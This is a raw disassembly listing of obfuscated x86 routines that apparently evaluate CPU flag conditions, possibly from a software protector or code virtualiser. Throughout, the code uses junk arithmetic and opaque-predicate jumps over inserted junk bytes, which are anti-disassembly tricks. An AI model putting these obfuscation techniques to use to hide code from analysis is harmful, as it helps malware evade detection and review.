mov [ebp+var_C], eax
mov ecx, dword_4ED3D4
xor ecx, dword_4ED3D8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B13B
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B13B: ; CODE XREF: sub_49B0A6+8Aj
mov eax, [ebp+var_8]
push eax
call off_4F1D2C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B0A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B14F proc near ; DATA XREF: sub_4965D8+94Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D78
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3A8
xor ecx, dword_4ED3AC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B1E4
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B1E4: ; CODE XREF: sub_49B14F+8Aj
mov eax, [ebp+var_8]
push eax
call off_4F1D00
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B14F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B1F8 proc near ; DATA XREF: sub_4965D8+C3Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED400
xor ecx, dword_4ED404
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B288
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B288: ; CODE XREF: sub_49B1F8+85j
mov eax, [ebp+var_8]
push eax
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B1F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B29C proc near ; DATA XREF: sub_4965D8+C24o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_49B2C5
; ---------------------------------------------------------------------------
mov ebx, 4
loc_49B2C5: ; CODE XREF: sub_49B29C+22j
mov ebx, 32h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B30E
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B30E: ; CODE XREF: sub_49B29C+67j
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B29C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B322 proc near ; DATA XREF: sub_4965D8+8B0o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
test eax, eax
jnz loc_49B446
pop ebx
pop edx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Dh
pop ebx
jo short loc_49B408
jl short loc_49B406
loc_49B401: ; CODE XREF: sub_49B322:loc_49B406j
; sub_49B322:loc_49B408j
jmp short loc_49B40A
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49B406: ; CODE XREF: sub_49B322+DDj
jz short loc_49B401
loc_49B408: ; CODE XREF: sub_49B322+DBj
jmp short loc_49B401
; ---------------------------------------------------------------------------
loc_49B40A: ; CODE XREF: sub_49B322:loc_49B401j
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 2500h
dec dh
sub dh, 3
dec dh
sub dh, 17h
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49B446
and eax, 0
inc eax
jmp short loc_49B449
; ---------------------------------------------------------------------------
loc_49B446: ; CODE XREF: sub_49B322+6Dj
; sub_49B322+11Cj
and eax, 0
loc_49B449: ; CODE XREF: sub_49B322+122j
mov [ebp+var_C], eax
mov ecx, dword_4ED3E0
xor ecx, dword_4ED3E4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B46C
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B46C: ; CODE XREF: sub_49B322+13Fj
mov eax, [ebp+var_8]
push eax
call off_4F1D38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B322 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B480 proc near ; DATA XREF: sub_4965D8+3FFo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DEC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 2
sub dh, 0FFh
dec dh
sub dh, 0FFh
dec dh
sub dh, 0FFh
sub dh, 1
sub dh, 1
dec dh
and ah, dh
mov edx, 800h
mov dl, 0Fh
sub dl, 0FFh
sub dl, 0FFh
sub dl, 0FFh
sub dl, 0Ah
sub dl, 0FFh
sub dl, 0FFh
sub dl, 5
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
sub dl, 0FFh
dec dl
inc dl
inc dl
and al, dl
not ah
not ah
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED41C
xor ecx, dword_4ED420
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B511
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B511: ; CODE XREF: sub_49B480+86j
mov eax, [ebp+var_8]
push eax
call off_4F1D74
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B480 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B525 proc near ; DATA XREF: sub_4965D8+163Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push eax
mov eax, 4
bswap eax
not eax
pop eax
push edx
mov dh, 80h
mov dh, 0
inc dh
mov ecx, ecx
inc dh
inc dh
inc dh
inc dh
push ebx
inc dh
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 800h
xchg eax, ecx
mov ecx, 40h
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
inc dh
inc dh
and ebx, 800h
inc dh
inc dh
inc dh
inc dh
and ebx, 10h
inc dh
inc dh
pop ebx
sub dh, 0Dh
dec dh
and ah, dh
mov dl, 5
sub dl, 0FFh
dec dl
dec dl
dec dl
sub dl, 0FFh
dec dl
dec dl
dec dl
and al, dl
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED408
xor ecx, dword_4ED40C
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B5DA
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B5DA: ; CODE XREF: sub_49B525+AAj
mov eax, [ebp+var_8]
push eax
call off_4F1D60
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B525 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B5EE proc near ; DATA XREF: sub_4965D8+1213o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D9C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 5
dec bh
sub bh, 1
dec bh
sub bh, 2
and eax, 80h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 0A1h
dec bl
dec esi
dec bl
sub bl, 0Eh
dec bl
dec bl
dec bl
dec edi
dec bl
dec bl
sub bl, 0Fh
dec bl
dec bl
dec edi
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3CC
xor ecx, dword_4ED3D0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B68A
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B68A: ; CODE XREF: sub_49B5EE+91j
mov eax, [ebp+var_8]
push eax
call off_4F1D24
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B5EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B69E proc near ; DATA XREF: sub_4965D8+31Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
test eax, eax
jnz loc_49B7C1
pop ebx
pop edx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Dh
pop ebx
jo short loc_49B784
jl short loc_49B782
loc_49B77D: ; CODE XREF: sub_49B69E:loc_49B782j
; sub_49B69E:loc_49B784j
jmp short loc_49B786
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49B782: ; CODE XREF: sub_49B69E+DDj
jz short loc_49B77D
loc_49B784: ; CODE XREF: sub_49B69E+DBj
jmp short loc_49B77D
; ---------------------------------------------------------------------------
loc_49B786: ; CODE XREF: sub_49B69E:loc_49B77Dj
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 2500h
dec dh
sub dh, 3
dec dh
sub dh, 17h
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49B7C1
and eax, 0
jmp short loc_49B7C5
; ---------------------------------------------------------------------------
loc_49B7C1: ; CODE XREF: sub_49B69E+6Dj
; sub_49B69E+11Cj
and eax, 0
inc eax
loc_49B7C5: ; CODE XREF: sub_49B69E+121j
mov [ebp+var_C], eax
mov ecx, dword_4ED400
xor ecx, dword_4ED404
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B7E8
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B7E8: ; CODE XREF: sub_49B69E+13Fj
mov eax, [ebp+var_8]
push eax
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B69E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B7FC proc near ; DATA XREF: sub_4965D8+C68o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 4
pop ecx
dec cl
dec cl
dec cl
dec cl
and al, cl
mov bh, 0Fh
and bl, 0
dec bh
sub bh, 3
dec bh
sub bh, 1
dec bh
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_49B84F
not eax
add eax, 1
stc
jmp short loc_49B855
; ---------------------------------------------------------------------------
loc_49B84F: ; CODE XREF: sub_49B7FC+49j
not eax
add eax, 1
clc
loc_49B855: ; CODE XREF: sub_49B7FC+51j
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3C0
xor ecx, dword_4ED3C4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B87C
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B87C: ; CODE XREF: sub_49B7FC+75j
mov eax, [ebp+var_8]
push eax
call off_4F1D18
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B7FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B890 proc near ; DATA XREF: sub_4965D8+157o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49B8B5
jl short loc_49B8B3
loc_49B8B0: ; CODE XREF: sub_49B890:loc_49B8B3j
; sub_49B890:loc_49B8B5j
jmp short loc_49B8B7
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49B8B3: ; CODE XREF: sub_49B890+1Ej
jz short loc_49B8B0
loc_49B8B5: ; CODE XREF: sub_49B890+1Cj
jmp short loc_49B8B0
; ---------------------------------------------------------------------------
loc_49B8B7: ; CODE XREF: sub_49B890:loc_49B8B0j
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 9
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
jo short loc_49B8EA
jl short loc_49B8E8
loc_49B8E5: ; CODE XREF: sub_49B890:loc_49B8E8j
; sub_49B890:loc_49B8EAj
jmp short loc_49B8EC
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49B8E8: ; CODE XREF: sub_49B890+53j
jz short loc_49B8E5
loc_49B8EA: ; CODE XREF: sub_49B890+51j
jmp short loc_49B8E5
; ---------------------------------------------------------------------------
loc_49B8EC: ; CODE XREF: sub_49B890:loc_49B8E5j
mov bl, 0C5h
sub bl, 4
dec bl
dec bl
sub bl, 3
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
jo short loc_49B917
jl short loc_49B915
loc_49B912: ; CODE XREF: sub_49B890:loc_49B915j
; sub_49B890:loc_49B917j
jmp short loc_49B919
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49B915: ; CODE XREF: sub_49B890+80j
jz short loc_49B912
loc_49B917: ; CODE XREF: sub_49B890+7Ej
jmp short loc_49B912
; ---------------------------------------------------------------------------
loc_49B919: ; CODE XREF: sub_49B890:loc_49B912j
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F0
xor ecx, dword_4ED3F4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B948
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B948: ; CODE XREF: sub_49B890+ADj
mov eax, [ebp+var_8]
push eax
call off_4F1D48
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B890 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B95C proc near ; DATA XREF: sub_4965D8+7FBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D98
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
add ch, 0FFh
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0ADh
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
sub cl, 11h
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
sub cl, 3
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
dec cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 200h
inc dh
inc dh
dec dh
inc dh
dec dh
inc dh
inc dh
inc dh
inc dh
dec dh
inc dh
inc dh
dec dh
dec dh
inc dh
inc dh
dec dh
inc dh
inc dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
jo short loc_49BA37
jl short loc_49BA35
loc_49BA32: ; CODE XREF: sub_49B95C:loc_49BA35j
; sub_49B95C:loc_49BA37j
jmp short loc_49BA39
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49BA35: ; CODE XREF: sub_49B95C+D4j
jz short loc_49BA32
loc_49BA37: ; CODE XREF: sub_49B95C+D2j
jmp short loc_49BA32
; ---------------------------------------------------------------------------
loc_49BA39: ; CODE XREF: sub_49B95C:loc_49BA32j
jnz short loc_49BA40
and eax, 0
jmp short loc_49BA44
; ---------------------------------------------------------------------------
loc_49BA40: ; CODE XREF: sub_49B95C:loc_49BA39j
and eax, 0
inc eax
loc_49BA44: ; CODE XREF: sub_49B95C+E2j
mov [ebp+var_C], eax
mov ecx, dword_4ED3C8
xor ecx, dword_4ED3CC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49BA67
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49BA67: ; CODE XREF: sub_49B95C+100j
mov eax, [ebp+var_8]
push eax
call off_4F1D20
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49B95C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49BA7B proc near ; DATA XREF: sub_4965D8+FF3o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 0BDh
sub cl, 2
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
sub cl, 3
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 0C00h
sub dh, 1
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED410
xor ecx, dword_4ED414
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49BB6B
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49BB6B: ; CODE XREF: sub_49BA7B+E5j
mov eax, [ebp+var_8]
push eax
call off_4F1D68
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49BA7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49BB7F proc near ; DATA XREF: sub_4965D8+663o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 410h
pop ebx
dec bh
dec bh
sub bh, 0FFh
sub bh, 2
dec bh
and ah, bh
mov bl, 0Eh
sub bl, 4
dec bl
sub bl, 1
sub bl, 1
sub bl, 1
sub bl, 1
sub bl, 1
and al, bl
pop ebx
pop edx
test eax, eax
jz short loc_49BBDE
not eax
add eax, 1
stc
jmp short loc_49BBE4
; ---------------------------------------------------------------------------
loc_49BBDE: ; CODE XREF: sub_49BB7F+55j
not eax
add eax, 1
clc
loc_49BBE4: ; CODE XREF: sub_49BB7F+5Dj
sbb eax, eax
inc eax
dec eax
jo short loc_49BBF3
jl short loc_49BBF1
loc_49BBEC: ; CODE XREF: sub_49BB7F:loc_49BBF1j
; sub_49BB7F:loc_49BBF3j
jmp short loc_49BBF5
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49BBF1: ; CODE XREF: sub_49BB7F+6Bj
jz short loc_49BBEC
loc_49BBF3: ; CODE XREF: sub_49BB7F+69j
jmp short loc_49BBEC
; ---------------------------------------------------------------------------
loc_49BBF5: ; CODE XREF: sub_49BB7F:loc_49BBECj
inc eax
dec eax
jo short loc_49BC02
jl short loc_49BC00
loc_49BBFB: ; CODE XREF: sub_49BB7F:loc_49BC00j
; sub_49BB7F:loc_49BC02j
jmp short loc_49BC04
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49BC00: ; CODE XREF: sub_49BB7F+7Aj
jz short loc_49BBFB
loc_49BC02: ; CODE XREF: sub_49BB7F+78j
jmp short loc_49BBFB
; ---------------------------------------------------------------------------
loc_49BC04: ; CODE XREF: sub_49BB7F:loc_49BBFBj
inc eax
dec eax
inc eax
dec eax
jo short loc_49BC11
jl short loc_49BC0F
loc_49BC0C: ; CODE XREF: sub_49BB7F:loc_49BC0Fj
; sub_49BB7F:loc_49BC11j
jmp short loc_49BC13
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49BC0F: ; CODE XREF: sub_49BB7F+8Bj
jz short loc_49BC0C
loc_49BC11: ; CODE XREF: sub_49BB7F+89j
jmp short loc_49BC0C
; ---------------------------------------------------------------------------
loc_49BC13: ; CODE XREF: sub_49BB7F:loc_49BC0Cj
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3E8
xor ecx, dword_4ED3EC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49BC37
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49BC37: ; CODE XREF: sub_49BB7F+ADj
mov eax, [ebp+var_8]
push eax
call off_4F1D40
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49BB7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49BC4B proc near ; DATA XREF: sub_4965D8+11B8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 0C0h
sub cl, 9
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
sub cl, 3
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
inc cl
inc cl
inc cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 0C00h
sub dh, 1
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED404
xor ecx, dword_4ED408
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49BD42
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49BD42: ; CODE XREF: sub_49BC4B+ECj
mov eax, [ebp+var_8]
push eax
call off_4F1D5C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49BC4B endp
